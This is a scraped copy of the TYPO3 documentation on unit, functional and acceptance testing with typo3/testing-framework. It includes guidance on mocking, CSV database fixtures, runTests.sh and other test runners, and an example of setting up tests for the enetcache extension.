class to the system but does not declare that singletons should be flushed, the system will recognize this
and let the according test fail. This is a great help for test developers to not run into side effects
between unit tests. It is usually not needed to override this method, but if you do, call
parent::tearDown()
at the end of the inherited method to have the parent method kick in!
A
getAccessibleMock() method: This method can be useful if a protected method of the system under test
class needs to be accessed. It also allows to "mock-away" other methods, but keep the method that is tested.
Note this method should not be used if just a full class dependency needs to be mocked. Use prophecy (see below)
to do this instead. If you find yourself using that method, it's often a hint that something in the
system under test is broken and should be modelled differently. So, don't use that blindly and consider
extracting the system under test to a utility or a service. But yes, there are situations when
getAccessibleMock()
can be very helpful to get things done.
General hints
Creating an instance of the system under test should be done with
new in the unit test and
not using
GeneralUtility::makeInstance().
Only use
getAccessibleMock() if parts of the system under test class itself needs to be
mocked. Never use it for an object that is created by the system under test itself.
Unit tests are by default configured to fail if a notice level PHP error is triggered.
This has been used in the Core to slowly make the framework notice free. Extension authors may fall
into a trap here: First, the unit test code itself, or the system under test may trigger notices.
Developers should fix that. But it may happen a Core
dependency triggers a notice that in turn lets the extensions unit test fail. At best, the extension
developer pushes a patch to the Core to fix that notice. Another solution is to mock the dependency
away, which may however not be desired or possible - especially with static dependencies.
A casual data provider
This is one of the most common use cases in unit testing: Some to-test method ("system under test") takes
some argument and a unit tests feeds it with a series of input arguments to verify output is as expected.
Data providers are used quite often for this and we encourage developers to do so, too. An example test
from
ArrayUtilityTest:
Some hints on this: Try to give the single data sets good names, here "single value", "whole array" and "sub array".
This helps to find a broken data set in the code, it forces the test writer to think about what they are feeding
to the test and it helps avoiding duplicate sets. Additionally, put the data provider directly before the according
test and name it "test name" + "DataProvider". Data providers are often not used in multiple tests, so that should
almost always work.
Mocking
Unit tests should test one thing at a time, often one method only.
If the system under test has dependencies
like additional objects, they should be usually "mocked away". A simple example is this, taken from
\TYPO3\CMS\Backend\Tests\Unit\Controller\FormInlineAjaxControllerTest:
The above case is pretty straight since the mocked dependency is hand over as argument to
the system under test. If the system under test however creates an instance of the to-mock
dependency on its own - typically using
GeneralUtility::makeInstance(), the mock instance
can be manually registered for makeInstance:
This works well for prototypes.
addInstance() adds objects to a LiFo, multiple instances
of the same class can be stacked. The generic
->tearDown() later confirms the stack is
empty to avoid side effects on other tests. Singleton instances can be registered in a
similar way:
If adding singletons, make sure to set the property
protected $resetSingletonInstances = true;,
otherwise
->tearDown() will detect a dangling singleton and let's the unit test fail
to avoid side effects on other tests.
Static dependencies
If a system under test has a dependency to a static method (typically from a utility class), then
hopefully the static method is a "good" dependency that sticks to the general
static method guide: A "good" static dependency has no state,
triggers no further code that has state. If this is the case, think of this dependency code as
being inlined within the system under test directly. Do not try to mock it away, just test
it along with the system under test.
If however the static method that is called is a "bad" dependency that statically calls further
magic by creating new objects, doing database calls and has own state, this is harder to come by.
One solution is to extract the static method call to an own method, then use
getAccessibleMock()
to mock that method away. And yeah, that is ugly. Unit tests can quite quickly show which parts
of the framework are not modelled in a good way. A typical case is
\TYPO3\CMS\Backend\Utility\BackendUtility - trying to unit test systems that have this
class as dependency is often very painful. There is not much developers can do in this case. The
Core tries to slowly improve these areas over time and indeed BackendUtility is shrinking
each version.
Exception handling
Code should throw exceptions if something goes wrong. See working with exceptions for some general guides on proper exception handling.
Exceptions are often very easy to unit test and testing them can be beneficial. Let's take
a simple example, this is from
\TYPO3\CMS\Core\Tests\Unit\Cache\CacheManagerTest
and tests both the exception class and the exception code:
This chapter goes into details about writing and maintaining unit tests in the TYPO3
world. Core developers over the years gained quite some knowledge and experience on
this topic, this section outlines some best practices and goes into details about
some of the TYPO3 specific unit testing details that have been put on top of the native
phpunit stack: At the time of this writing the TYPO3 Core contains about ten thousand
unit tests - many of them are good, some are bad and we're constantly improving
details. Unit testing is a great playground for interested contributors, and most
extension developers probably learn something useful from reading this section, too.
Note this chapter is not a full "How to write unit tests" documentation: It contains
some examples, but mostly goes into details of the additions typo3/testing-framework
puts on top.
Furthermore, this documentation is a general guide. There can be reasons to violate them.
These are no hard rules to always follow.
When to unit test
It depends on the code you're writing if unit testing that specific code is useful or not.
There are certain areas that scream to be unit tested: You're writing a method that does some PHP
array munging or sorting, juggling keys and values around? Unit test this! You're
writing something that involves date calculations? No way to get that right without unit
testing! You're throwing a regex at some string? The unit test data provider should already
exist before you start with implementing the method!
In general, whenever a rather small piece of code does some dedicated munging on a rather
small set of data, unit testing this isolated piece is helpful. It's a healthy developer
attitude to assume any written code is broken. Isolating that code and throwing unit tests at
it will proof its broken. Promised. Add edge cases to your unit test data provider, feed
it with whatever you can think of and continue doing that until your code survives all that.
Depending on your use case, develop test-driven: Test first, fail, fix, refactor, next iteration.
Good to-be-unit-tested code does usually not contain much state, sometimes it's static.
Services or utilities are often good
targets for unit testing, sometimes some detail method of a class that has not been extracted
to an own class, too.
When not to unit test
Simply put: Do not unit test "glue code". There are persons proclaiming "100% unit test coverage".
This does not make sense. As an extension developer working on top of framework functionality, it
usually does not make sense to unit test glue code. What is glue code? Well, code
that fetches things from one underlying part and feeds it to some other part: Code that "glues"
framework functionality together.
Good examples are often Extbase MVC controller actions: A typical controller usually does not do much
more than fetching some objects from a repository just to assign them to the view. There is no benefit in
adding a unit test for this: A unit test can't do much more than verifying some specific framework
methods are actually called. It thus needs to mock the object dependencies to only verify some
method is hit with some argument. This is tiresome to set up and you're then testing a trivial
part of your controller: Looking at the controller clearly shows the underlying method is called.
Why bother?
Another example are Extbase models: Most Extbase model properties consist of a protected property,
a getter and a setter method. This is near no-brainer code, and many developers auto-generate
getters and setters by an IDE anyway. Unit testing this code leads to broken tests with each trivial
change of the model class. That's tiresome and likely some waste of time. Concentrate unit testing
efforts on stuff that does data munging magic as outlined above! One of your model getters initializes
some object storage, then sorts and filters objects? That can be helpful if unit tested, your filter
code is otherwise most likely broken. Add unit tests to prove it's not.
A much better way of testing glue code are functional tests: Set up a proper scenario in your
database, then call your controller that will use your repository and models, then verify your
view returns something useful. With adding a functional test for this you can kill many
birds with one stone. This has many more benefits than trying to unit test glue code.
A good sign that your unit test would be more useful if it is turned into a functional test is if
the unit tests needs lots of lines of code to mock dependencies, just to test something using
->shouldBeCalled() on some mock to verify on some dependency is actually called. Go ahead and
read some unit tests provided by the Core: We're sure you'll find a bad unit test that could be improved
by creating a functional test from it.
Keep it simple
This is an important rule in testing: Keep tests as simple as possible! Tests should be easy
to write, understand, read and refactor. There is no point in complex and overly abstracted
tests. Those are pain to work with. The basic guides are: No loops, no additional class
inheritance, no additional helper methods if not really needed, no additional state. As simple
example, there is often no point in creating an instance of the subject in
setUp() just to
park it as in property. It is easier to read to just have a
$subject = new MyClass()
call in each test at the appropriate place. Test classes are often much longer than the
system under test. That is ok. It's better if a single test is very simple and to copy over
lines from one to the other test over and over again than trying to abstract that away.
Keep tests as simple as possible to read and don't use fancy abstraction features.
Running Unit tests
Install PHPUnit and the TYPO3 testing framework
In order to run unit tests within an extension or project you can require
PHPUnit and the testing framework via Composer as a development dependency:
Which versions to use depends on the PHP and TYPO3 versions to be supported.
The following matrix can help you to choose the correct versions.
testing-framework
TYPO3
PHP
PHPUnit
8.x.x
v12, v13 (main)
8.1, 8.2, 8.3 (8.4)
^10, ^11
7.x.x
v11, v12
7.4, 8.0, 8.1, 8.2, 8.3 (8.4)
^9, ^10
6.x.x
v10, v11
7.2, 7.3, 7.4, 8.0, 8.1, 8.2, 8.3
^8, ^9
Testing framework <= 6.x is no longer maintained.
Provide configuration files for unit tests
The TYPO3 testing framework comes with a predefined unit test configuration and
a bootstrapping file. You should copy these files into your project so you
can adjust them as needed:
Open file UnitTests.xml and adjust the paths to the path (or multiple paths) where
the unit tests are stored. By convention many extensions store them in the
directory Tests/Unit and subdirectories thereof:
If you are testing in a project you will probably have a directory from where
local extensions like site packages and client-specific extensions are installed
, so you can also include them:
You can of course define a
Composer script <https://getcomposer.org/doc/articles/scripts.md> as well, so that
this command can be executed easily on the host, within a DDEV container and also in
GitHub Actions or Gitlab CI.
Run the unit tests with runTests.sh
If you are using a runTests.sh like the one used by the
t3docs/blog-example
you can run the tests with:
Build/Script/runTests.sh -s unit
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It is also possible to choose the PHP version to run the tests with:
runTests.sh is a script that originates from the TYPO3 Core repository and is used as
a test and tool execution runner. It is based on running individual Docker containers
with several bash commands, and also allows Xdebug integration, different database
environments and much more. Once you copy such a file to your repository you need to
take care of maintaining it when possible bugfixes or changes occur upstream.
Functional testing with the TYPO3 testing framework
At the time of this writing, TYPO3 Core contains more than 2600 functional tests, so
there are plenty of test files to look at to learn about writing functional tests. Do not
hesitate looking around, there is plenty to discover.
As a starter, let's have a look at a basic scenario from the styleguide example again:
That's the basic setup needed for a functional test: Extend
FunctionalTestCase,
declare extension styleguide should be loaded and have a first test.
Extending setUp
Note
setUp() is not overridden in this case. If you override it, remember to always
call
parent::setUp() before doing own stuff. An example can be found in
\TYPO3\CMS\Backend\Tests\Functional\Domain\Repository\Localization\LocalizationRepositoryTest:
<?phpdeclare(strict_types=1);
namespaceTYPO3\CMS\Backend\Tests\Functional\Domain\Repository\Localization;
useTYPO3\CMS\Backend\Domain\Repository\Localization\LocalizationRepository;
useTYPO3\CMS\Core\Core\Bootstrap;
useTYPO3\TestingFramework\Core\Functional\FunctionalTestCase;
/**
* Test case
*/classLocalizationRepositoryTestextendsFunctionalTestCase{
/**
* @var LocalizationRepository
*/protected $subject;
/**
* Sets up this test case.
*/protectedfunctionsetUp(): void{
parent::setUp();
$this->importCSVDataSet(__DIR__ . '/Fixtures/be_users.csv');
$this->setUpBackendUser(1);
Bootstrap::initializeLanguageObject();
$this->importCSVDataSet(ORIGINAL_ROOT . 'typo3/sysext/backend/Tests/Functional/Domain/Repository/Localization/Fixtures/DefaultPagesAndContent.csv');
$this->subject = new LocalizationRepository();
}
// ...
}
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The above example overrides
setUp() to first call
parent::setUp(). This is
critically important to do, if not done the entire test instance set up is not triggered.
After calling parent, various things needed by all tests of this scenario are added: A database
fixture is loaded, a backend user is added, the language object is initialized
and an instance of the system under test is parked as
$this->subject within the class.
Loaded extensions
The
FunctionalTestCase has a couple of defaults and properties to specify the set of
loaded extensions of a test case: First, there is a set of default Core extensions that are
always loaded. Those should be require or at least require-dev dependencies in a
composer.json file, too: core, backend, frontend, extbase and install.
Apart from that default list, it is possible to load additional Core extensions: An extension
that wants to test if it works well together with workspaces, would for example specify
the workspaces extension as additional to-load extension:
In this case the fictional extension some_extension comes with an own fixture extension that should
be loaded, and another base_extension should be loaded. These extensions will be linked into
typo3conf/ext of the test case instance.
The functional test bootstrap links all extensions to either typo3/sysext for Core extensions or
typo3conf/ext for third party extensions, creates a PackageStates.php and then uses the
database schema analyzer to create all database tables specified in the ext_tables.sql files.
Database fixtures
To populate the test database tables with rows to prepare any given scenario, the helper method
$this->importCSVDataSet() can be used. Note it is not possible to inject a fully prepared
database, for instance it is not possible to provide a full .sqlite database and work on this
in the test case. Instead, database rows should be provided as .csv files to be loaded into
the database using
$this->importCSVDataSet(). An example file could look like this:
A CSV data set
"pages"
,"uid","pid","sorting","deleted","t3_origuid","title"
,1,0,256,0,0,"Connected mode"
"tt_content"
,"uid","pid","sorting","deleted","sys_language_uid","l18n_parent","l10n_source","t3_origuid","header"
,297,1,256,0,0,0,0,0,"Regular Element #1"
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This file defines one row for the pages table
and one tt_content row. So one .csv file can contain rows of multiple tables.
Note
If you need to define a
null value within CSV files, you need to use the special value "\NULL".
Changed in version Testing Framework 8
There was a similar method called
$this->importDataSet() that allowed
loading database rows defined as XML instead of CSV. It was deprecated
in testing framework 7 and removed with 8.
In general, the methods need the absolute path to the fixture file to load them. However some
keywords are allowed:
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Tests\Functional;
usePHPUnit\Framework\Attributes\Test;
useTYPO3\TestingFramework\Core\Functional\FunctionalTestCase;
classSomeTestextendsFunctionalTestCase{
#[Test]publicfunctionimportData(): void{
// Load a CSV file relative to test case file$this->importCSVDataSet(__DIR__ . '/../Fixtures/pages.csv');
// Load a CSV file of some extension$this->importCSVDataSet('EXT:frontend/Tests/Functional/Fixtures/pages-title-tag.csv');
// Load a CSV file provided by the typo3/testing-framework package$this->importCSVDataSet('PACKAGE:typo3/testing-framework/Resources/Core/Functional/Fixtures/pages.csv');
}
}
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Asserting database
A test that triggered some data munging in the database probably wants to test if the final
state of some rows in the database is as expected after the job is done. The helper method
assertCSVDataSet() helps to do that. As in the .csv example above, it needs the
absolute path to some CSV file that can contain rows of multiple tables. The methods will
then look up the according rows in the database and compare their values with the fields
provided in the CSV files. If they are not identical, the test will fail and output a table
which field values did not match.
Loading files
If the system under test works on files, those can be provided by the test setup, too. As
example, one may want to check if an image has been properly sized down. The image to work
on can be linked into the test instance:
It is also possible to copy the files to the test instance instead of only linking it
using
$pathsToProvideInTestInstance.
Setting TYPO3_CONF_VARS
A default config/system/settings.php file of the instance is created by the default
setUp().
It contains the database credentials and everything else to end up with a working TYPO3 instance.
If extensions need additional settings in config/system/settings.php, the property
$configurationToUseInTestInstance can be used to specify these:
This instructs the system to load the Basic.typoscript as TypoScript
file for the frontend page with uid 1.
A frontend request can be executed calling
$this->executeFrontendRequest(). It will
return a Response object to be further worked on, for instance it is possible to verify
if the body
->getBody() contains some string.
Introduction to functional tests
Functional testing in TYPO3 world is basically the opposite of unit testing: Instead
of looking at rather small, isolated pieces of code, functional testing looks at
bigger scenarios with many involved dependencies. A typical scenario creates a full
instance with some extensions, puts some rows into the database and calls an entry method,
for instance a controller action. That method triggers dependent logic that changes
data. The tests end with comparing the changed data or output is identical to some
expected data.
This chapter goes into details on functional testing and how the typo3/testing-framework
helps with setting up, running and verifying scenarios.
Overview
Functional testing is much about defining the specific scenario that should be set
up by the system and isolating it from other scenarios. The basic thinking is that
a single scenario that involves a set of loaded extensions, maybe some files and
some database rows is a single test case (= one test file), and one or more single
tests are executed using this scenario definition.
Single test cases extend
\TYPO3\TestingFramework\Core\Functional\FunctionalTestCase.
The default implementation of method
setUp() contains all the main magic to set
up a new TYPO3 instance in a sub folder of the existing system, create a database,
create config/system/settings.php, load extensions, populate the database with tables
needed by the extensions and to link or copy additional fixture files around and finally
bootstrap a basic TYPO3 backend.
setUp() is called before each test, so each single
test is isolated from other tests, even within one test case. There is only one optimization
step: The instance between single tests of one test case is not fully created from scratch,
but the existing instance is just cleaned up (all database tables truncated). This is a measure
to speed up execution, but still, the general thinking is that each test stands for its own
and should not have side effects on other tests.
The
\TYPO3\TestingFramework\Core\Functional\FunctionalTestCase contains a series
of class properties. Most of them are designed to be overwritten by single test cases,
they tell
setUp() what to do. For instance, there is a property to specify which
extensions should be active for the given scenario. Everyone looking or creating
functional tests should have a look at these properties: They are well documented and
contain examples how to use. These properties are the key to instruct typo3/testing-framework
what to do.
The "external dependencies" like credentials for the database are submitted as environment
variables. If using the recommended docker based setup to execute tests, these details
are taken care off by the runTests.sh. See
the styleguide example for details on how this is
set up and used, and check out Test Runners: Organize and execute tests for details on test runners.
Executing the functional tests on different databases is handled by these
and it is possible to run one test on different databases by calling runTests.sh
with the according options to do this. The above chapter Extension testing is about executing tests and setting up the runtime, while this
chapter is about writing tests and setting up the scenario.
Acceptance testing with the TYPO3 testing framework
Introduction
Acceptance testing in TYPO3 world is about piloting a browser to click through
a frontend generated by TYPO3 or clicking through scenarios in the TYPO3 backend.
Similar to functional testing, acceptance tests set up an isolated TYPO3 instance
that contains everything needed for the scenario. In contrast to functional tests, though,
one test suite that contains multiple tests relies on a single instance: With functional tests,
each test case gets its own instance, with acceptance tests, there is typically one
test suite with only one instance and all tests are executed in this instance. As a
result, tests may have dependencies between each other. If for instance one acceptance
test created a scheduler tasks, and a second one verifies this task can be deleted
again, the second task depends on the first one to be successful. Other than that,
the basic instance setup is similar to functional tests: Extensions can be loaded,
the instance can be populated with fixture files and database rows and so on.
Again, typo3/testing-framework helps with managing the instance and contains
some helper classes to solve various needs in a typical TYPO3 backend, it for instance
helps with selecting a specific page in the page tree.
Set up
Extension developers who want to add acceptance tests for their extensions should
have a look at the styleguide example for
the basic setup. It contains a codeception.yml file, a suite, a tester
and a bootstrap extension that sets up the system. The bootstrap extension should
be fine tuned to specify - similar to functional tests - which
specific extensions are loaded and which database fixtures should be applied.
Preparation of the browser instance and calling codeception to execute the tests
is again performed by runTests.sh in docker containers. The chapter
Extension testing is about executing
tests and setting up the runtime, while this chapter is about the TYPO3 specific
acceptance test helpers provided by the typo3/testing-framework.
Backend login
The suite file (for instance Backend.suite.yml) should contain a line
to load and configure the backend login module:
modules:enabled:-\TYPO3\TestingFramework\Core\Acceptance\Helper\Login:sessions:# This sessions must exist in the database fixture to get a logged in state.editor:ff83dfd81e20b34c27d3e97771a4525aadmin:886526ce72b86870739cc41991144ec1
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This allows an editor and an admin user to easily log into the TYPO3 backend
without further fuzz. An acceptance test can use it like this:
The call
$I->useExistingSession('admin') logs in an admin user into the TYPO3
backend and lets it call the default view (usually the about module).
Frames
Dealing with the backend frames can be a bit tricky in acceptance tests. The
typo3/testing-framework contains a trait to help here: The backend tester
should use this trait, which will add two methods. The implementation of these
methods takes care the according frames are fully loaded before proceeding with
further tests:
<?phpdeclare(strict_types=1);
namespaceTYPO3\CMS\Styleguide\Tests\Acceptance\Backend;
useTYPO3\CMS\Styleguide\Tests\Acceptance\Support\BackendTester;
classSomeCest{
/**
* @param BackendTester $I
*/publicfunction_before(BackendTester $I){ // Switch to "content frame", eg the "list module" content
$I->switchToContentFrame();
// Switch to "main frame", the frame with the main modules and top bar
$I->switchToMainFrame();
}
}
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PageTree
An abstract class of typo3/testing-framework can be extended and used to open and
select specific pages in the page tree. A typical class looks like this:
This example is taken from the Core extension, other extensions should use their own
instance in an own extension based namespace. If this is done, the PageTree support
class can be injected into a test:
The example above (adapt to your namespaces!) instructs the PageTree helper to find
a page called "styleguide TCA demo" at root level, to extend that part of the tree if
not yet done, and then select the second level page called "elements basic".
ModalDialog
Similar to the PageTree, an abstract class called
AbstractModalDialog is
provided by typo3/testing-framework to help dealing with modal "popups" The
class can be extended and used in own extensions in a similar way as outlined
above for the PageTree helper.
Test Runners: Organize and execute tests
Executing commands to run tests and other toolchain scripts
can be tedious. Sadly there is no "one-fits-all" solution for this.
This chapter tries to explain available options, in summary:
Use the runTests.sh script based on the TYPO3-Core
Use a customized runTests.sh script based on blog_example
Use a generator
All these commands and tasks are not only run by you as a
developer (or end-user) and your co-workers, but are also
relevant for Continuous Integration (CI),
Continuous Deployment (CD) - for example via GitHub Actions
or GitLab Pipelines.
What are test runners and why do we need them
As you can read in the chapters about Testing, there is a multitude
of available tooling around a project:
Unit testing
Functional testing
Acceptance testing
Integration testing
Linting
Validating
Static code analysis
Coding guideline (CGL) analysis
Rendering documentation
Deployment
Each of these tasks or commands are executed on different levels.
First of all, you as a developer want to execute this. You might want to
do this on your host computer. This could be any operating system, each with
their own needed commands (macOS, Windows, Linux/Unix derivates).
And you could also perform this within a virtual
environment (VM) or a isolated container (Docker).
Or within an environment/framework
that helps you with that (DDEV).
Then, not only you may want to run the commands, but also co-workers, or
customers/users of your project.
Also, you may want to (and should) automate executing these commands on
a schedule, like with GitHub Actions or GitLab Pipelines, or even locally
with cronjobs. You might want to execute tests locally before you push code
to a Git repository.
As you can see: The ways to execute the tests can very a lot, depending
on the environment. Some commands can only be executed with the proper
PHP and Bash version environment. The tools themselves need to be installed,
and may have dependencies.
All of that leads to one central question:
Question: How can I execute the commands in a re-usable way for everyone,
and do not put much effort into "how to do this".
Sadly, the answer is not something you may want to read:
Answer: You cannot. You may need to use multiple ways, or focus and
discuss, what suits your needs best.
To pick the right way on running your tests means to talk with the people
involved with your project, most notable the maintainers and your environment.
If everyone working on a project uses the same environment, this can be easy.
But as soon as you are maintaining an OpenSource project and want to welcome
contributors with all kinds of environments, it gets harder. You might even
need to create redundancy for running tests.
The following sections describe each method of running a test with their
advantages and disadvantages, so that you will hopefully be able to make
an informed decision on picking what is best for you.
Use a bash alias
If all people involved are able to use bash (also available in Windows WSL),
you could create an alias for each tool (in your bash/shell profile), for example:
Simple scripts like these (only containing basic commands) could be
put into the project's Git repository and even be shared to other people
to be executed.
Advantages:
Can be shared and re-used
Could also be executed on automated environments (as long as all
dependencies are installed in the environment)
Easy to understand
Good compatibility because Bash is available cross-platform
Disadvantages:
Requires local environment (i.e. proper PHP version)
Maintaining compatibility to other operating systems may be hard
Introduce custom DDEV commands
If your project is already utilizing ddev,
you can make use of custom commands delivered with your project's
.ddev/ configuration infrastructure.
Details for creating these commands can be found in the
ddev Manual.
Advantages:
Commands can be executed inside the ddev environment with exactly
the right dependencies and software versions
No further local dependency apart from ddev; PHP and other components
are set within the container already.
Can be shared just as easily like your ddev configuration, all people
involved can use it without further setup.
Disadvantages:
Can not be (easily) used for automated deployment due to the ddev dependency.
Some tools that depend on docker (for example, the documentation rendering)
cannot be used easily, because docker-in-docker is a problem. These commands
might then needed to be run locally, outside the container (commands also allow this)
People without ddev cannot execute your commands, even if they could run the
project itself without ddev. So this would fix your testing on a ddev dependency.
Introduce a Composer script
Since most projects involving TYPO3 are already Composer-based, you could
create specific Composer scripts
for each task. Composer could also execute specific docker commands.
An example for a large and thorough integration of Composer scripts is
the TYPO3-documentation/tea repository,
if you start by inspecting its composer.json file.
Advantages:
Integrated into the PHP ecosystem, allows to run both PHP scripts and
shell commands
Commands can be grouped and structured well, dependencies of scripts can
be configured
Can be utilized by everyone running Composer already (both inside and outside
of containers)
Can be easily shared, because the composer.json file is already shared to everyone.
Can be easily used by automated testing, for example in GitHub Actions and GitLab Pipelines.
Available scripts are easily revealed in the Composer help output
Disadvantages:
Depends on PHP, so when executed on the host, the environments and dependencies need to match
PHP running certain processes (like Docker containers) may introduce memory or other
timeout limits and problems
Create a Makefile
On most systems, a Makefile can
be used for scripting and running tasks. The TYPO3 Documentation repositories often
utilize this, because it offers a nice way of listing all available Makefile tasks
and run them on the host computer. Makefiles can also be scripted with variables
and conditions.
Advantages:
Makefiles are a well-known standard even outside PHP projects
Makefiles can be easily shared and usually executed on both host side and
within containers
Makefiles can also be used for automated testing (GitHub Actions, GitLab Pipelines)
Makefiles offer code completion and help texts
Disadvantages:
Makefiles are harder to read and write, and using them as a "script runner"
is frowned upon for "abusing" the original intent of Makefiles (compiling software).
Makefiles are considered "legacy" and are not so common within PHP projects
Use dedicated tools like just
As an alternative to Makefile, tools like just
are aimed to be script runners, cross-platform compatible.
Advantages:
Dedicated tooling, cross-platform execution
Modern development and configuration, easily shareable
Disadvantages:
Software like this needs to be installed specifically and create
a dependency. The chosen software might not be maintained in the future
Using the software may need training for people involved
Using this in automated testing environments require installation
Use the runTests.sh script based on the TYPO3-Core
Because of the need to run tests reliably the same way for everyone,
the TYPO3 core internally uses the script
runTests.sh.
The script is tailored specifically to running TYPO3 Core tests, which can be
very close to your own needs. All of the commands in the script are executed
using dockerized PHP and other components.
The script also takes care of running database containers, thus making everything
highly adaptable to specific PHP versions and other tooling. The only dependency
to run this locally, is having docker (or podman) and bash.
Because of this,
the script is highly suitable for running matrix-based automated testing with
diverse configurations.
It also offers a very useful xdebug integration for tests,
so that you can easily use an IDE to hook into any test execution. The script
is actively used and maintained by the TYPO3 Core team with great care.
Advantages:
Close to no dependencies other than docker and bash
Tightly adapted to TYPO3 needs
well-maintained
very powerful for matrix-based automated testing
very adaptable
Disadvantages:
Very hard and complex to maintain for people without a good bash and docker
knowledge
Copy+Paste of the script will require YOU to take over maintaining the script
in case of bugs, security issues or new tools
Stripping down and adapting the file to suit your needs takes some effort
Use a customized runTests.sh script based on blog_example
Because the runTests.sh file of the TYPO3 Core may be intimidating,
several TYPO3 projects have already adapted the script and stripped
down to more basic needs.
One example of this is the TYPO3-Documentation/blog_example
adaption. This script contains the most basic commands to execute
commands:
Mostly the same advantages like the "normal" runTests.sh
A more "real life" example outside the TYPO3 Core on how to
use the idea of the runTests.sh script (providing docker-ized
command execution).
Better readable due to clearer focus
Disadvantages:
Even though it could be copy+pasted by you, the same disadvantages
like the "normal" runTests.sh apply: Still needs to be maintained
by you, cannot be included as a "composer dependency"
Future changes to the script may be more tailored to the needs of
blog-example.
Sidenote for the daring: An experiment has been made in
garvinhicking/typo3-tf-runtests
as a "proof of concept" to make the Core's runTests.sh file able to run custom commands,
and be utilized as a Composer package. This work will very likely never be implemented,
because the TYPO3 Core is not suited to provide runTests.sh as an API due to it's
focus. However, this may be a base for your own experiments on making a script runner
adaptable.
Use a generator
All the variants described above have the shared disadvantage,
that you yourself as a project maintainer are responsible for
creating the scripts and configuration for any script runner.
Depending on your skillset, this may be a task you are not willing
to take on.
Thus, effort is being made to offer generators that can create
Composer script integration plus helpers, to achieve integrating
a choice of most common tools.
Please check out the work of the TYPO3 Best Practices Team
for more information on this. If you are interested in helping
this effort, please get in touch.
Advantages:
You will not need to maintain configuration and scripts
yourself
You can pick from lists of suggested tooling, and adapt to
your needs
Disadvantages:
This tool is still work in progress (and may not even come to fruition)
The generated configuration/commands may be opinionated (just as runTests.sh),
and may not suit your needs
Updates to configuration and new tooling will need you to regard this
as a dependency, and require you to update your command configuration to fix
bugs or security issues
As an extension author, it is likely that you may want to test your extension during its development.
This chapter details how extension authors can set up automatic extension testing. We'll do that with
two examples. Both embed the given extension in a TYPO3 instance and run tests within this environment,
both examples also configure GitHub Actions to execute tests. We'll use Docker containers for test execution again and use
an extension specific runTests.sh script for executing test setup and execution.
Scope
About this chapter and what it does not cover, first.
This documentation assumes an extension is tested with only one major Core version. It
does not support extension testing with multiple target Core versions (though that is
possible).
The Core Team encourages extension developers to have dedicated Core branches
per Core version. This has various advantages, it is for instance easy to create deprecation
free extensions this way.
We assume a Composer based setup. Extensions should provide a composer.json
file anyway and using Composer for extension testing is quite convenient.
Similar to Core testing, this documentation relies on docker and docker-compose. See the
Core testing requirements for more details.
We assume your extensions code is located within github and automatic testing is carried out using GitHub Actions.
The integration of GitHub Actions into github is easy to set up with plenty of documentation already available.
If your extensions code is located elsewhere or a different CI is used, this chapter may still be of use
in helping you build a general understanding of the testing process.
General strategy
Third party extensions often rely on TYPO3 Core extensions to add key functionality.
If a project needs a TYPO3 extension, it will add the required extension using composer require
to its own root composer.json file. The extensions composer.json then specifies additional detail, for
instance which PHP class namespaces it provides and where they can be found. This properly
integrates the extension into the project and the project then "knows" the location of extension
classes.
If we want to test extension code directly, we do a similar change: We turn the composer.json
file of the extension into a root composer.json file.
That file then serves two needs at the same time: It is used by projects that require the extension
as a dependency and it is used as the root composer.json to specify dependencies turning the extension
into a project on its own for testing. The latter allows us to set up a full TYPO3
environment in a sub folder of the extension and execute the tests within this sub folder.
Testing enetcache
The extension enetcache is a small extension that helps
with frontend plugin based caches. It has been available as Composer package and a TER extension for quite
some time and is loosely maintained to keep up with current Core versions.
The following is based on the current (May, 2023) main branch of enetcache,
later versions may be structured differently.
This main branch:
supports TYPO3 v11 and TYPO3 v12
requires typo3/testing-framework v7 (which supports v11 and v12)
Older versions of this extension were structured differently, each branch of
the extension supported only one TYPO3 version:
1.2 compatible with Core v7, released to TER as 1.x.y
2 compatible with Core v8, released to TER as 2.x.y
master compatible with Core v9, released to TER as 3.x.y
On this page, we focus on testing one TYPO3 version at a time though it is
possible to support and test 2 TYPO3 versions in one branch with the
typo3/testing-framework and enetcache does this. But, for the sake of simplicity
we describe the simpler use case here.
The enetcache extension comes with a couple of unit tests
in Tests/Unit, we want to run these locally and by GitHub Actions, along with
some PHP linting to verify there is no fatal PHP error.
Starting point
As outlined in the general strategy, we need to extend the existing composer.json file by
adding some root composer.json specific things. This does not harm the functionality of the existing
composer.json properties if the extension is a project dependency and not used as root composer.json:
Root properties are ignored in Composer if the file is not used as root project file, see the
notes "root-only" of the Composer documentation for details.
This is how the composer.json file looks before we add a test setup:
This is a typical composer.json file without any complexity: It's a typo3-cms-extension, with an
author and a license. We are stating that "I need at least 13.0.0 of cms-core" and we tell the autoloader
"find all class names starting with
\Lolli\Enetcache in the Classes/ directory".
The extension already contains some unit tests that extend typo3/testing-framework's base
unit test class in directory Tests/Unit/Hooks (stripped):
E
<?phpnamespaceLolli\Enetcache\Tests\Unit\Hooks;
useTYPO3\TestingFramework\Core\Unit\UnitTestCase;
classDataHandlerFlushByTagHookTestextendsUnitTestCase{
/**
* @test
*/publicfunctionfindReferencedDatabaseEntriesReturnsEmptyArrayForTcaWithoutRelations(){
// some unit test code
}
}
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Preparing composer.json
Now let's add our properties to put these tests into action. First, we add a series of properties
to composer.json
to add root composer.json details, turning the extension into a project at the same time:
Note all added properties are only used within our root composer.json files, they are ignored if the
extension is loaded as a dependency in our project. Note: We specify .Build as
build directory. This is where our TYPO3 instance will be set up. We add typo3/testing-framework
in a v13 compatible version as require-dev dependency. We add a autoload-dev to tell composer
that test classes are found in the Tests/ directory.
Now, before we start playing around with this setup, we instruct git to ignore runtime
on-the-fly files. The .gitignore looks like this:
We ignore the entire .Build directory, these are on-the-fly files that do not belong to the extension
functionality. We also ignore the .idea directory - this is a directory where PhpStorm stores its settings.
We also ignore Build/testing-docker/.env - this is a test runtime file created by runTests.sh later.
And we ignore the composer.lock file: We don't specify our dependency versions and a
composer install will later always fetch for instance the youngest Core dependencies marked as
compatible in our composer.json file.
Let's clone that repository and call composer install (stripped):
lolli@apoc /var/www/local/git $ git clone git@github.com:lolli42/enetcache.git
Cloning into 'enetcache'...
X11 forwarding request failed on channel 0
remote: Enumerating objects: 76, done.
remote: Counting objects: 100% (76/76), done.
remote: Compressing objects: 100% (50/50), done.
remote: Total 952 (delta 34), reused 52 (delta 18), pack-reused 876
Receiving objects: 100% (952/952), 604.38 KiB | 1.48 MiB/s, done.
Resolving deltas: 100% (537/537), done.
lolli@apoc /var/www/local/git $ cd enetcache/lolli@apoc /var/www/local/git/enetcache $ composer install
Loading composer repositories with package information
Updating dependencies (including require-dev)
